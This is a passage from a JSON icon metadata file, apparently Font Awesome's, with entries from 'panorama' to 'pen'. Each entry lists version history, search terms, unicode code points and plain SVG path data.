        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 320c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v64H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96 320 544h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H576V384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H544 320 96 32zm96 64H288v64H128V384zm224 0H512v64H352V384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 320c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v64H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96 320 544h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H576V384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H544 320 96 32zm96 64H288v64H128V384zm224 0H512v64H352V384z"
      }
    },
    "free": ["solid"]
  },
  "panorama": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["image", "landscape", "photo", "wide"]
    },
    "styles": ["solid"],
    "unicode": "e209",
    "label": "Panorama",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M45.6 32C20.4 32 0 52.4 0 77.6V434.4C0 459.6 20.4 480 45.6 480c5.1 0 10-.8 14.7-2.4C74.6 472.8 177.6 440 320 440s245.4 32.8 259.6 37.6c4.7 1.6 9.7 2.4 14.7 2.4c25.2 0 45.6-20.4 45.6-45.6V77.6C640 52.4 619.6 32 594.4 32c-5 0-10 .8-14.7 2.4C565.4 39.2 462.4 72 320 72S74.6 39.2 60.4 34.4C55.6 32.8 50.7 32 45.6 32zM96 160a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm272 0c7.9 0 15.4 3.9 19.8 10.5L512.3 353c5.4 8 5.6 18.4 .4 26.5s-14.7 12.3-24.2 10.7C442.7 382.4 385.2 376 320 376c-65.6 0-123.4 6.5-169.3 14.4c-9.8 1.7-19.7-2.9-24.7-11.5s-4.3-19.4 1.9-27.2L197.3 265c4.6-5.7 11.4-9 18.7-9s14.2 3.3 18.7 9l26.4 33.1 87-127.6c4.5-6.6 11.9-10.5 19.8-10.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M45.6 32C20.4 32 0 52.4 0 77.6V434.4C0 459.6 20.4 480 45.6 480c5.1 0 10-.8 14.7-2.4C74.6 472.8 177.6 440 320 440s245.4 32.8 259.6 37.6c4.7 1.6 9.7 2.4 14.7 2.4c25.2 0 45.6-20.4 45.6-45.6V77.6C640 52.4 619.6 32 594.4 32c-5 0-10 .8-14.7 2.4C565.4 39.2 462.4 72 320 72S74.6 39.2 60.4 34.4C55.6 32.8 50.7 32 45.6 32zM96 160a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm272 0c7.9 0 15.4 3.9 19.8 10.5L512.3 353c5.4 8 5.6 18.4 .4 26.5s-14.7 12.3-24.2 10.7C442.7 382.4 385.2 376 320 376c-65.6 0-123.4 6.5-169.3 14.4c-9.8 1.7-19.7-2.9-24.7-11.5s-4.3-19.4 1.9-27.2L197.3 265c4.6-5.7 11.4-9 18.7-9s14.2 3.3 18.7 9l26.4 33.1 87-127.6c4.5-6.6 11.9-10.5 19.8-10.5z"
      }
    },
    "free": ["solid"]
  },
  "paper-plane": {
    "aliases": {
      "unicodes": {
        "composite": ["f1d9"],
        "secondary": ["10f1d8"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["air", "float", "fold", "mail", "paper", "send"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1d8",
    "label": "Paper Plane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M498.1 5.6c10.1 7 15.4 19.1 13.5 31.2l-64 416c-1.5 9.7-7.4 18.2-16 23s-18.9 5.4-28 1.6L284 427.7l-68.5 74.1c-8.9 9.7-22.9 12.9-35.2 8.1S160 493.2 160 480V396.4c0-4 1.5-7.8 4.2-10.7L331.8 202.8c5.8-6.3 5.6-16-.4-22s-15.7-6.4-22-.7L106 360.8 17.7 316.6C7.1 311.3 .3 300.7 0 288.9s5.9-22.8 16.1-28.7l448-256c10.7-6.1 23.9-5.5 34 1.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M498.1 5.6c10.1 7 15.4 19.1 13.5 31.2l-64 416c-1.5 9.7-7.4 18.2-16 23s-18.9 5.4-28 1.6L284 427.7l-68.5 74.1c-8.9 9.7-22.9 12.9-35.2 8.1S160 493.2 160 480V396.4c0-4 1.5-7.8 4.2-10.7L331.8 202.8c5.8-6.3 5.6-16-.4-22s-15.7-6.4-22-.7L106 360.8 17.7 316.6C7.1 311.3 .3 300.7 0 288.9s5.9-22.8 16.1-28.7l448-256c10.7-6.1 23.9-5.5 34 1.4z"
      },
      "regular": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M16.1 260.2c-22.6 12.9-20.5 47.3 3.6 57.3L160 376V479.3c0 18.1 14.6 32.7 32.7 32.7c9.7 0 18.9-4.3 25.1-11.8l62-74.3 123.9 51.6c18.9 7.9 40.8-4.5 43.9-24.7l64-416c1.9-12.1-3.4-24.3-13.5-31.2s-23.3-7.5-34-1.4l-448 256zm52.1 25.5L409.7 90.6 190.1 336l1.2 1L68.2 285.7zM403.3 425.4L236.7 355.9 450.8 116.6 403.3 425.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M16.1 260.2c-22.6 12.9-20.5 47.3 3.6 57.3L160 376V479.3c0 18.1 14.6 32.7 32.7 32.7c9.7 0 18.9-4.3 25.1-11.8l62-74.3 123.9 51.6c18.9 7.9 40.8-4.5 43.9-24.7l64-416c1.9-12.1-3.4-24.3-13.5-31.2s-23.3-7.5-34-1.4l-448 256zm52.1 25.5L409.7 90.6 190.1 336l1.2 1L68.2 285.7zM403.3 425.4L236.7 355.9 450.8 116.6 403.3 425.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "paperclip": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4ce"],
        "secondary": ["10f0c6"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "attach",
        "attachment",
        "connect",
        "link",
        "papercli",
        "paperclip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c6",
    "label": "Paperclip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M364.2 83.8c-24.4-24.4-64-24.4-88.4 0l-184 184c-42.1 42.1-42.1 110.3 0 152.4s110.3 42.1 152.4 0l152-152c10.9-10.9 28.7-10.9 39.6 0s10.9 28.7 0 39.6l-152 152c-64 64-167.6 64-231.6 0s-64-167.6 0-231.6l184-184c46.3-46.3 121.3-46.3 167.6 0s46.3 121.3 0 167.6l-176 176c-28.6 28.6-75 28.6-103.6 0s-28.6-75 0-103.6l144-144c10.9-10.9 28.7-10.9 39.6 0s10.9 28.7 0 39.6l-144 144c-6.7 6.7-6.7 17.7 0 24.4s17.7 6.7 24.4 0l176-176c24.4-24.4 24.4-64 0-88.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M364.2 83.8c-24.4-24.4-64-24.4-88.4 0l-184 184c-42.1 42.1-42.1 110.3 0 152.4s110.3 42.1 152.4 0l152-152c10.9-10.9 28.7-10.9 39.6 0s10.9 28.7 0 39.6l-152 152c-64 64-167.6 64-231.6 0s-64-167.6 0-231.6l184-184c46.3-46.3 121.3-46.3 167.6 0s46.3 121.3 0 167.6l-176 176c-28.6 28.6-75 28.6-103.6 0s-28.6-75 0-103.6l144-144c10.9-10.9 28.7-10.9 39.6 0s10.9 28.7 0 39.6l-144 144c-6.7 6.7-6.7 17.7 0 24.4s17.7 6.7 24.4 0l176-176c24.4-24.4 24.4-64 0-88.4z"
      }
    },
    "free": ["solid"]
  },
  "parachute-box": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4cd"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["aid", "assistance", "goods", "relief", "rescue", "supplies"]
    },
    "styles": ["solid"],
    "unicode": "f4cd",
    "label": "Parachute Box",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M383.5 192c.3-5.3 .5-10.6 .5-16c0-51-15.9-96-40.2-127.6C319.5 16.9 288.2 0 256 0s-63.5 16.9-87.8 48.4C143.9 80 128 125 128 176c0 5.4 .2 10.7 .5 16H240V320H208c-7 0-13.7 1.5-19.7 4.2L68.2 192H96.5c-.3-5.3-.5-10.6-.5-16c0-64 22.2-121.2 57.1-159.3C62 49.3 18.6 122.6 4.2 173.6C1.5 183.1 9 192 18.9 192h6L165.2 346.3c-3.3 6.5-5.2 13.9-5.2 21.7v96c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48V368c0-7.8-1.9-15.2-5.2-21.7L487.1 192h6c9.9 0 17.4-8.9 14.7-18.4C493.4 122.6 450 49.3 358.9 16.7C393.8 54.8 416 112.1 416 176c0 5.4-.2 10.7-.5 16h28.3L323.7 324.2c-6-2.7-12.7-4.2-19.7-4.2H272V192H383.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M383.5 192c.3-5.3 .5-10.6 .5-16c0-51-15.9-96-40.2-127.6C319.5 16.9 288.2 0 256 0s-63.5 16.9-87.8 48.4C143.9 80 128 125 128 176c0 5.4 .2 10.7 .5 16H240V320H208c-7 0-13.7 1.5-19.7 4.2L68.2 192H96.5c-.3-5.3-.5-10.6-.5-16c0-64 22.2-121.2 57.1-159.3C62 49.3 18.6 122.6 4.2 173.6C1.5 183.1 9 192 18.9 192h6L165.2 346.3c-3.3 6.5-5.2 13.9-5.2 21.7v96c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48V368c0-7.8-1.9-15.2-5.2-21.7L487.1 192h6c9.9 0 17.4-8.9 14.7-18.4C493.4 122.6 450 49.3 358.9 16.7C393.8 54.8 416 112.1 416 176c0 5.4-.2 10.7-.5 16h28.3L323.7 324.2c-6-2.7-12.7-4.2-19.7-4.2H272V192H383.5z"
      }
    },
    "free": ["solid"]
  },
  "paragraph": {
    "aliases": {
      "unicodes": {
        "composite": ["b6"],
        "secondary": ["10f1dd"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Pilcrow Sign", "edit", "format", "text", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f1dd",
    "label": "Paragraph",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M192 32h64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H384l0 352c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-352H288V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H192c-88.4 0-160-71.6-160-160s71.6-160 160-160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M192 32h64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H384l0 352c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-352H288V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H192c-88.4 0-160-71.6-160-160s71.6-160 160-160z"
      }
    },
    "free": ["solid"]
  },
  "passport": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5ab"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "id", "identification", "issued", "travel"]
    },
    "styles": ["solid"],
    "unicode": "f5ab",
    "label": "Passport",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM183 278.8c-27.9-13.2-48.4-39.4-53.7-70.8h39.1c1.6 30.4 7.7 53.8 14.6 70.8zm41.3 9.2l-.3 0-.3 0c-2.4-3.5-5.7-8.9-9.1-16.5c-6-13.6-12.4-34.3-14.2-63.5h47.1c-1.8 29.2-8.1 49.9-14.2 63.5c-3.4 7.6-6.7 13-9.1 16.5zm40.7-9.2c6.8-17.1 12.9-40.4 14.6-70.8h39.1c-5.3 31.4-25.8 57.6-53.7 70.8zM279.6 176c-1.6-30.4-7.7-53.8-14.6-70.8c27.9 13.2 48.4 39.4 53.7 70.8H279.6zM223.7 96l.3 0 .3 0c2.4 3.5 5.7 8.9 9.1 16.5c6 13.6 12.4 34.3 14.2 63.5H200.5c1.8-29.2 8.1-49.9 14.2-63.5c3.4-7.6 6.7-13 9.1-16.5zM183 105.2c-6.8 17.1-12.9 40.4-14.6 70.8H129.3c5.3-31.4 25.8-57.6 53.7-70.8zM352 192A128 128 0 1 0 96 192a128 128 0 1 0 256 0zM112 384c-8.8 0-16 7.2-16 16s7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM183 278.8c-27.9-13.2-48.4-39.4-53.7-70.8h39.1c1.6 30.4 7.7 53.8 14.6 70.8zm41.3 9.2l-.3 0-.3 0c-2.4-3.5-5.7-8.9-9.1-16.5c-6-13.6-12.4-34.3-14.2-63.5h47.1c-1.8 29.2-8.1 49.9-14.2 63.5c-3.4 7.6-6.7 13-9.1 16.5zm40.7-9.2c6.8-17.1 12.9-40.4 14.6-70.8h39.1c-5.3 31.4-25.8 57.6-53.7 70.8zM279.6 176c-1.6-30.4-7.7-53.8-14.6-70.8c27.9 13.2 48.4 39.4 53.7 70.8H279.6zM223.7 96l.3 0 .3 0c2.4 3.5 5.7 8.9 9.1 16.5c6 13.6 12.4 34.3 14.2 63.5H200.5c1.8-29.2 8.1-49.9 14.2-63.5c3.4-7.6 6.7-13 9.1-16.5zM183 105.2c-6.8 17.1-12.9 40.4-14.6 70.8H129.3c5.3-31.4 25.8-57.6 53.7-70.8zM352 192A128 128 0 1 0 96 192a128 128 0 1 0 256 0zM112 384c-8.8 0-16 7.2-16 16s7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z"
      }
    },
    "free": ["solid"]
  },
  "paste": {
    "aliases": {
      "names": ["file-clipboard"],
      "unicodes": {
        "secondary": ["10f0ea"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clipboard", "copy", "document", "paper"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0ea",
    "label": "Paste",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c-23.7 0-44.4 12.9-55.4 32H48C21.5 32 0 53.5 0 80V400c0 26.5 21.5 48 48 48H192V176c0-44.2 35.8-80 80-80h48V80c0-26.5-21.5-48-48-48H215.4C204.4 12.9 183.7 0 160 0zM272 128c-26.5 0-48 21.5-48 48V448v16c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V256H416c-17.7 0-32-14.3-32-32V128H320 272zM160 40a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm256 88v96h96l-96-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c-23.7 0-44.4 12.9-55.4 32H48C21.5 32 0 53.5 0 80V400c0 26.5 21.5 48 48 48H192V176c0-44.2 35.8-80 80-80h48V80c0-26.5-21.5-48-48-48H215.4C204.4 12.9 183.7 0 160 0zM272 128c-26.5 0-48 21.5-48 48V448v16c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V256H416c-17.7 0-32-14.3-32-32V128H320 272zM160 40a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm256 88v96h96l-96-96z"
      },
      "regular": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M80 96v16c0 17.7 14.3 32 32 32h60.8c16.6-28.7 47.6-48 83.2-48h62c-7.1-27.6-32.2-48-62-48H215.4C211.6 20.9 188.2 0 160 0s-51.6 20.9-55.4 48H64C28.7 48 0 76.7 0 112V384c0 35.3 28.7 64 64 64h96V400H64c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H80zm64-40a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM256 464c-8.8 0-16-7.2-16-16V192c0-8.8 7.2-16 16-16H384v48c0 17.7 14.3 32 32 32h48V448c0 8.8-7.2 16-16 16H256zm192 48c35.3 0 64-28.7 64-64V227.9c0-12.7-5.1-24.9-14.1-33.9l-51.9-51.9c-9-9-21.2-14.1-33.9-14.1H256c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H448z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M80 96v16c0 17.7 14.3 32 32 32h60.8c16.6-28.7 47.6-48 83.2-48h62c-7.1-27.6-32.2-48-62-48H215.4C211.6 20.9 188.2 0 160 0s-51.6 20.9-55.4 48H64C28.7 48 0 76.7 0 112V384c0 35.3 28.7 64 64 64h96V400H64c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H80zm64-40a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM256 464c-8.8 0-16-7.2-16-16V192c0-8.8 7.2-16 16-16H384v48c0 17.7 14.3 32 32 32h48V448c0 8.8-7.2 16-16 16H256zm192 48c35.3 0 64-28.7 64-64V227.9c0-12.7-5.1-24.9-14.1-33.9l-51.9-51.9c-9-9-21.2-14.1-33.9-14.1H256c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H448z"
      }
    },
    "free": ["regular", "solid"]
  },
  "patreon": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d9",
    "label": "Patreon",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z"
      }
    },
    "free": ["brands"]
  },
  "pause": {
    "aliases": {
      "unicodes": {
        "composite": ["23f8"],
        "secondary": ["10f04c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bar",
        "double",
        "hold",
        "pause",
        "pause button",
        "vertical",
        "wait"
      ]
    },
    "styles": ["solid"],
    "unicode": "f04c",
    "label": "Pause",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M48 64C21.5 64 0 85.5 0 112V400c0 26.5 21.5 48 48 48H80c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H48zm192 0c-26.5 0-48 21.5-48 48V400c0 26.5 21.5 48 48 48h32c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H240z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M48 64C21.5 64 0 85.5 0 112V400c0 26.5 21.5 48 48 48H80c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H48zm192 0c-26.5 0-48 21.5-48 48V400c0 26.5 21.5 48 48 48h32c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H240z"
      }
    },
    "free": ["solid"]
  },
  "paw": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1b0"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["animal", "cat", "dog", "pet", "print"]
    },
    "styles": ["solid"],
    "unicode": "f1b0",
    "label": "Paw",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M226.5 92.9c14.3 42.9-.3 86.2-32.6 96.8s-70.1-15.6-84.4-58.5s.3-86.2 32.6-96.8s70.1 15.6 84.4 58.5zM100.4 198.6c18.9 32.4 14.3 70.1-10.2 84.1s-59.7-.9-78.5-33.3S-2.7 179.3 21.8 165.3s59.7 .9 78.5 33.3zM69.2 401.2C121.6 259.9 214.7 224 256 224s134.4 35.9 186.8 177.2c3.6 9.7 5.2 20.1 5.2 30.5v1.6c0 25.8-20.9 46.7-46.7 46.7c-11.5 0-22.9-1.4-34-4.2l-88-22c-15.3-3.8-31.3-3.8-46.6 0l-88 22c-11.1 2.8-22.5 4.2-34 4.2C84.9 480 64 459.1 64 433.3v-1.6c0-10.4 1.6-20.8 5.2-30.5zM421.8 282.7c-24.5-14-29.1-51.7-10.2-84.1s54-47.3 78.5-33.3s29.1 51.7 10.2 84.1s-54 47.3-78.5 33.3zM310.1 189.7c-32.3-10.6-46.9-53.9-32.6-96.8s52.1-69.1 84.4-58.5s46.9 53.9 32.6 96.8s-52.1 69.1-84.4 58.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M226.5 92.9c14.3 42.9-.3 86.2-32.6 96.8s-70.1-15.6-84.4-58.5s.3-86.2 32.6-96.8s70.1 15.6 84.4 58.5zM100.4 198.6c18.9 32.4 14.3 70.1-10.2 84.1s-59.7-.9-78.5-33.3S-2.7 179.3 21.8 165.3s59.7 .9 78.5 33.3zM69.2 401.2C121.6 259.9 214.7 224 256 224s134.4 35.9 186.8 177.2c3.6 9.7 5.2 20.1 5.2 30.5v1.6c0 25.8-20.9 46.7-46.7 46.7c-11.5 0-22.9-1.4-34-4.2l-88-22c-15.3-3.8-31.3-3.8-46.6 0l-88 22c-11.1 2.8-22.5 4.2-34 4.2C84.9 480 64 459.1 64 433.3v-1.6c0-10.4 1.6-20.8 5.2-30.5zM421.8 282.7c-24.5-14-29.1-51.7-10.2-84.1s54-47.3 78.5-33.3s29.1 51.7 10.2 84.1s-54 47.3-78.5 33.3zM310.1 189.7c-32.3-10.6-46.9-53.9-32.6-96.8s52.1-69.1 84.4-58.5s46.9 53.9 32.6 96.8s-52.1 69.1-84.4 58.5z"
      }
    },
    "free": ["solid"]
  },
  "paypal": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1ed",
    "label": "Paypal",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z"
      }
    },
    "free": ["brands"]
  },
  "peace": {
    "aliases": {
      "unicodes": {
        "composite": ["262e"],
        "secondary": ["10f67c"]
      }
    },
    "changes": [
      "5.3.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "peace",
        "peace symbol",
        "serenity",
        "tranquility",
        "truce",
        "war"
      ]
    },
    "styles": ["solid"],
    "unicode": "f67c",
    "label": "Peace",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 445.3V323.5l-94.3 77.1c26.1 22.8 58.5 38.7 94.3 44.7zM89.2 351.1L224 240.8V66.7C133.2 81.9 64 160.9 64 256c0 34.6 9.2 67.1 25.2 95.1zm293.1 49.5L288 323.5V445.3c35.7-6 68.1-21.9 94.3-44.7zm40.6-49.5c16-28 25.2-60.5 25.2-95.1c0-95.1-69.2-174.1-160-189.3V240.8L422.8 351.1zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 445.3V323.5l-94.3 77.1c26.1 22.8 58.5 38.7 94.3 44.7zM89.2 351.1L224 240.8V66.7C133.2 81.9 64 160.9 64 256c0 34.6 9.2 67.1 25.2 95.1zm293.1 49.5L288 323.5V445.3c35.7-6 68.1-21.9 94.3-44.7zm40.6-49.5c16-28 25.2-60.5 25.2-95.1c0-95.1-69.2-174.1-160-189.3V240.8L422.8 351.1zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "pen": {
    "aliases": {
      "unicodes": {
        "composite": ["1f58a"],
        "secondary": ["10f304"]
      }
    },
    "changes": [
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["ballpoint", "design", "edit", "pen", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f304",
    "label": "Pen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
